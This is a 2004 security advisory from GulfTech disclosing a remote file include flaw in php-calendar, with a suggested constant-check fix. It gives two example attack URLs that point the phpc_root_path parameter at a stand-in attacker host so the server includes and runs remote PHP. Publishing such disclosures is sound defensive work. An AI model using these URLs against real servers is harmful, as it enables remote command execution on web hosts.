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php-Calendar File Include Vulnerability [ Command Exec ]



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# GulfTech Security Research            December 28th, 2004
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# Vendor  : Sean Proctor
# URL     : http://php-calendar.sourceforge.net/
# Version : All Versions
# Risk    : File Include Vulnerability
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Description:
I was searching for a decent calendar which my group at school 
could use to keep track of events, etc. We were previously using 
localendar, which I didn't like and it had some problems. I found 
CST-Calendar which did most of what I wanted, but was rather ugly 
and missed some features others in the group wanted. So, I 
gradually re-wrote CST-Calendar since that project seems to have 
stopped work entirely. [ As quoted from their website ]



File Include Vulnerability:
There is a very dangerous file include vulnerability in 
php-calendar, and making the issue even more dangerous is that I 
found out about php-calendar from an individual who said that 
php-calendar is a great open source calendar to use in php projects, 
and is fairly popular amongst open source php developers. This may be 
true, but the vulnerabilities need to be fixed if the same conditions 
apply as found in the original code. Below are example attack url's

http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/ht
ml.php
http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.
php

If php globals are set to on then it is highly probable that an 
attacker will be able to include arbitrary php files and thus execute 
system commands with the rights of the web server. This can be very 
dangerous in some situations.


Solution:
php-calendar has a defined constant to help prevent against stuff 
like this. It can be seen in other php-calendar files such as db.php

if ( !defined('IN_PHPC') ) {
        die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice 
in preventing the kinds of attacks previously mentioned in this advisory.



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00060-12292004



Credits:
James Bercegay of the GulfTech Security Research Team

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.6 - Release Date: 12/28/2004